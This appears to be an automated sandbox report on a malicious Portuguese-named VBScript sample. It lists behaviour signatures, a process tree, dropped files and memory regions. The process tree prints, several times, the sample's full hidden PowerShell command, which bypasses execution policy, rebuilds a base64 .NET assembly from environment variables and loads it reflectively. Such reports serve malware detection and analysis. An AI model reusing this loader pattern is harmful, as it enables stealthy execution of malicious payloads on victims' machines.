Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/08/2026, 19:00

General

  • Target
    rCOTACAOURGENTE-CONTAINER-LISTADEUNIDADES.vbs
  • Size 15.2MB
  • Sample260810-xn5dxa1thy
  • SHA256 41a89f7aa20f39090bdae154194aa5108f222a654d0da8f56f98f6e8be86479e
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 11 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\rCOTACAOURGENTE-CONTAINER-LISTADEUNIDADES.vbs"
    1⤵
    • Checks computer location settings
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:3740
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('ZxagWAHxi8ZyEZeLt2rKHq0tqPtbOi7Mx4HCV701U3EUE2BTqBSrvvbUhUUFdhwqbIKCV4/NwSJXGd+cHIJxUQ==','Ul6K8zSJ4DGSuqJDDTH092btQKz5Rin5IhJfgMZVBWs=','iJ2lg9qy95++0sofhWxQhYgR9Z4TdjWkprDEUmWSV1dJ+CU+auI24D+ibSUivBdb','FUN5yJDxPkB6gMkleoRZTqCvryLy1l0t+HCnUmku+Rg=','yLS1DTaOI63B9GXAJEaDkGIHBp8hnyCh21ohvnw3ou4=','YPysBYSFo/bsDoYA8XF/NwCe/R44qMUlViz707+BO7c=','6vs7wDPKpQy4+KcENousIxPpu+C4fQ4JacQR4eEB22Q=','t5PkHKPm702NLU+iEW63o8CgDtCAy4tpBHlh/JrH8cA=','shKLoh+UkUPI/127CnviTkcgdtu1VX3NnnTy6Bu/F/w=','RZMnfNTx2n0H9Xir+Z9nEHBlY2BVDAoyyVb96UptKUN9dQXkFMCxrSFrmzJqG3dr','PjNL5wGjP0Vcw7B3RWTJEyx2JEVaeWVeq7iZbLyTr4A=','RuqnHY5zrpDMhqPn5lPalVMDhrNGd+BXc4yqVrosPmY=','JxZXsNBgg/Ou3/FBBHXf55UWdC15JXnGbp5dQoJhH7g=','8nL84pqtXUcGYls+LT77wbuKRe/FAB3XVItmP+/HOY0=','5rINwP65n6ET/yfs1jNL2JCDrxwU6nb/8s95CB5c/7w=','RozGvTYGhGsHdBw+VAH7DXplLJ0aNsoiyaQaYxYWaAc=','','','')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1268
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('ZxagWAHxi8ZyEZeLt2rKHq0tqPtbOi7Mx4HCV701U3EUE2BTqBSrvvbUhUUFdhwqbIKCV4/NwSJXGd+cHIJxUQ==','Ul6K8zSJ4DGSuqJDDTH092btQKz5Rin5IhJfgMZVBWs=','iJ2lg9qy95++0sofhWxQhYgR9Z4TdjWkprDEUmWSV1dJ+CU+auI24D+ibSUivBdb','FUN5yJDxPkB6gMkleoRZTqCvryLy1l0t+HCnUmku+Rg=','yLS1DTaOI63B9GXAJEaDkGIHBp8hnyCh21ohvnw3ou4=','YPysBYSFo/bsDoYA8XF/NwCe/R44qMUlViz707+BO7c=','6vs7wDPKpQy4+KcENousIxPpu+C4fQ4JacQR4eEB22Q=','t5PkHKPm702NLU+iEW63o8CgDtCAy4tpBHlh/JrH8cA=','shKLoh+UkUPI/127CnviTkcgdtu1VX3NnnTy6Bu/F/w=','RZMnfNTx2n0H9Xir+Z9nEHBlY2BVDAoyyVb96UptKUN9dQXkFMCxrSFrmzJqG3dr','PjNL5wGjP0Vcw7B3RWTJEyx2JEVaeWVeq7iZbLyTr4A=','RuqnHY5zrpDMhqPn5lPalVMDhrNGd+BXc4yqVrosPmY=','JxZXsNBgg/Ou3/FBBHXf55UWdC15JXnGbp5dQoJhH7g=','8nL84pqtXUcGYls+LT77wbuKRe/FAB3XVItmP+/HOY0=','5rINwP65n6ET/yfs1jNL2JCDrxwU6nb/8s95CB5c/7w=','RozGvTYGhGsHdBw+VAH7DXplLJ0aNsoiyaQaYxYWaAc=','','','')"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2392
  • C:\Windows\system32\wscript.exe
    wscript.exe
    1⤵
      PID:2520
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\Users\Public\Downloads\nUjYM0H8fr.vbs
      1⤵
      • Checks computer location settings
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:3548
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('ZxagWAHxi8ZyEZeLt2rKHq0tqPtbOi7Mx4HCV701U3EUE2BTqBSrvvbUhUUFdhwqbIKCV4/NwSJXGd+cHIJxUQ==','Ul6K8zSJ4DGSuqJDDTH092btQKz5Rin5IhJfgMZVBWs=','iJ2lg9qy95++0sofhWxQhYgR9Z4TdjWkprDEUmWSV1dJ+CU+auI24D+ibSUivBdb','FUN5yJDxPkB6gMkleoRZTqCvryLy1l0t+HCnUmku+Rg=','yLS1DTaOI63B9GXAJEaDkGIHBp8hnyCh21ohvnw3ou4=','YPysBYSFo/bsDoYA8XF/NwCe/R44qMUlViz707+BO7c=','6vs7wDPKpQy4+KcENousIxPpu+C4fQ4JacQR4eEB22Q=','t5PkHKPm702NLU+iEW63o8CgDtCAy4tpBHlh/JrH8cA=','shKLoh+UkUPI/127CnviTkcgdtu1VX3NnnTy6Bu/F/w=','RZMnfNTx2n0H9Xir+Z9nEHBlY2BVDAoyyVb96UptKUN9dQXkFMCxrSFrmzJqG3dr','PjNL5wGjP0Vcw7B3RWTJEyx2JEVaeWVeq7iZbLyTr4A=','RuqnHY5zrpDMhqPn5lPalVMDhrNGd+BXc4yqVrosPmY=','JxZXsNBgg/Ou3/FBBHXf55UWdC15JXnGbp5dQoJhH7g=','8nL84pqtXUcGYls+LT77wbuKRe/FAB3XVItmP+/HOY0=','5rINwP65n6ET/yfs1jNL2JCDrxwU6nb/8s95CB5c/7w=','RozGvTYGhGsHdBw+VAH7DXplLJ0aNsoiyaQaYxYWaAc=','','','')"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4284
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('ZxagWAHxi8ZyEZeLt2rKHq0tqPtbOi7Mx4HCV701U3EUE2BTqBSrvvbUhUUFdhwqbIKCV4/NwSJXGd+cHIJxUQ==','Ul6K8zSJ4DGSuqJDDTH092btQKz5Rin5IhJfgMZVBWs=','iJ2lg9qy95++0sofhWxQhYgR9Z4TdjWkprDEUmWSV1dJ+CU+auI24D+ibSUivBdb','FUN5yJDxPkB6gMkleoRZTqCvryLy1l0t+HCnUmku+Rg=','yLS1DTaOI63B9GXAJEaDkGIHBp8hnyCh21ohvnw3ou4=','YPysBYSFo/bsDoYA8XF/NwCe/R44qMUlViz707+BO7c=','6vs7wDPKpQy4+KcENousIxPpu+C4fQ4JacQR4eEB22Q=','t5PkHKPm702NLU+iEW63o8CgDtCAy4tpBHlh/JrH8cA=','shKLoh+UkUPI/127CnviTkcgdtu1VX3NnnTy6Bu/F/w=','RZMnfNTx2n0H9Xir+Z9nEHBlY2BVDAoyyVb96UptKUN9dQXkFMCxrSFrmzJqG3dr','PjNL5wGjP0Vcw7B3RWTJEyx2JEVaeWVeq7iZbLyTr4A=','RuqnHY5zrpDMhqPn5lPalVMDhrNGd+BXc4yqVrosPmY=','JxZXsNBgg/Ou3/FBBHXf55UWdC15JXnGbp5dQoJhH7g=','8nL84pqtXUcGYls+LT77wbuKRe/FAB3XVItmP+/HOY0=','5rINwP65n6ET/yfs1jNL2JCDrxwU6nb/8s95CB5c/7w=','RozGvTYGhGsHdBw+VAH7DXplLJ0aNsoiyaQaYxYWaAc=','','','')"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3012
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\Users\Public\Downloads\nUjYM0H8fr.vbs
      1⤵
      • Checks computer location settings
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:4600
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('ZxagWAHxi8ZyEZeLt2rKHq0tqPtbOi7Mx4HCV701U3EUE2BTqBSrvvbUhUUFdhwqbIKCV4/NwSJXGd+cHIJxUQ==','Ul6K8zSJ4DGSuqJDDTH092btQKz5Rin5IhJfgMZVBWs=','iJ2lg9qy95++0sofhWxQhYgR9Z4TdjWkprDEUmWSV1dJ+CU+auI24D+ibSUivBdb','FUN5yJDxPkB6gMkleoRZTqCvryLy1l0t+HCnUmku+Rg=','yLS1DTaOI63B9GXAJEaDkGIHBp8hnyCh21ohvnw3ou4=','YPysBYSFo/bsDoYA8XF/NwCe/R44qMUlViz707+BO7c=','6vs7wDPKpQy4+KcENousIxPpu+C4fQ4JacQR4eEB22Q=','t5PkHKPm702NLU+iEW63o8CgDtCAy4tpBHlh/JrH8cA=','shKLoh+UkUPI/127CnviTkcgdtu1VX3NnnTy6Bu/F/w=','RZMnfNTx2n0H9Xir+Z9nEHBlY2BVDAoyyVb96UptKUN9dQXkFMCxrSFrmzJqG3dr','PjNL5wGjP0Vcw7B3RWTJEyx2JEVaeWVeq7iZbLyTr4A=','RuqnHY5zrpDMhqPn5lPalVMDhrNGd+BXc4yqVrosPmY=','JxZXsNBgg/Ou3/FBBHXf55UWdC15JXnGbp5dQoJhH7g=','8nL84pqtXUcGYls+LT77wbuKRe/FAB3XVItmP+/HOY0=','5rINwP65n6ET/yfs1jNL2JCDrxwU6nb/8s95CB5c/7w=','RozGvTYGhGsHdBw+VAH7DXplLJ0aNsoiyaQaYxYWaAc=','','','')"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4360
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$s=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17;$b=[Convert]::FromBase64String($s);[Reflection.Assembly]::Load($b)|Out-Null;[OtnmpxnddVnptbN.mpxnddVn]::Otnmpxn('ZxagWAHxi8ZyEZeLt2rKHq0tqPtbOi7Mx4HCV701U3EUE2BTqBSrvvbUhUUFdhwqbIKCV4/NwSJXGd+cHIJxUQ==','Ul6K8zSJ4DGSuqJDDTH092btQKz5Rin5IhJfgMZVBWs=','iJ2lg9qy95++0sofhWxQhYgR9Z4TdjWkprDEUmWSV1dJ+CU+auI24D+ibSUivBdb','FUN5yJDxPkB6gMkleoRZTqCvryLy1l0t+HCnUmku+Rg=','yLS1DTaOI63B9GXAJEaDkGIHBp8hnyCh21ohvnw3ou4=','YPysBYSFo/bsDoYA8XF/NwCe/R44qMUlViz707+BO7c=','6vs7wDPKpQy4+KcENousIxPpu+C4fQ4JacQR4eEB22Q=','t5PkHKPm702NLU+iEW63o8CgDtCAy4tpBHlh/JrH8cA=','shKLoh+UkUPI/127CnviTkcgdtu1VX3NnnTy6Bu/F/w=','RZMnfNTx2n0H9Xir+Z9nEHBlY2BVDAoyyVb96UptKUN9dQXkFMCxrSFrmzJqG3dr','PjNL5wGjP0Vcw7B3RWTJEyx2JEVaeWVeq7iZbLyTr4A=','RuqnHY5zrpDMhqPn5lPalVMDhrNGd+BXc4yqVrosPmY=','JxZXsNBgg/Ou3/FBBHXf55UWdC15JXnGbp5dQoJhH7g=','8nL84pqtXUcGYls+LT77wbuKRe/FAB3XVItmP+/HOY0=','5rINwP65n6ET/yfs1jNL2JCDrxwU6nb/8s95CB5c/7w=','RozGvTYGhGsHdBw+VAH7DXplLJ0aNsoiyaQaYxYWaAc=','','','')"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1344

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 23ff764d48f4d4271988615ce21cbec4b582a498eb15535ec2f5f01338a0e2ae
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_z4gaq0bc.i10.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z4gaq0bc.i10.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          nUjYM0H8fr.vbs

          • Path C:\Users\Public\Downloads\nUjYM0H8fr.vbs
          • Size 15.2MB
          • SHA256 41a89f7aa20f39090bdae154194aa5108f222a654d0da8f56f98f6e8be86479e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1268-3-0x00000192E1D60000-0x00000192E1D70000-memory.dmp

          memory/1268-12-0x00000192E1CF0000-0x00000192E1D12000-memory.dmp

          memory/1268-4-0x00000192E1D60000-0x00000192E1D70000-memory.dmp

          memory/2392-20-0x000001E176780000-0x000001E1767E0000-memory.dmp

          memory/2392-24-0x000001E175A20000-0x000001E175A30000-memory.dmp

          memory/2392-23-0x000001E175A20000-0x000001E175A30000-memory.dmp

          memory/2392-2-0x000001E175A20000-0x000001E175A30000-memory.dmp

          memory/2392-1-0x000001E175A20000-0x000001E175A30000-memory.dmp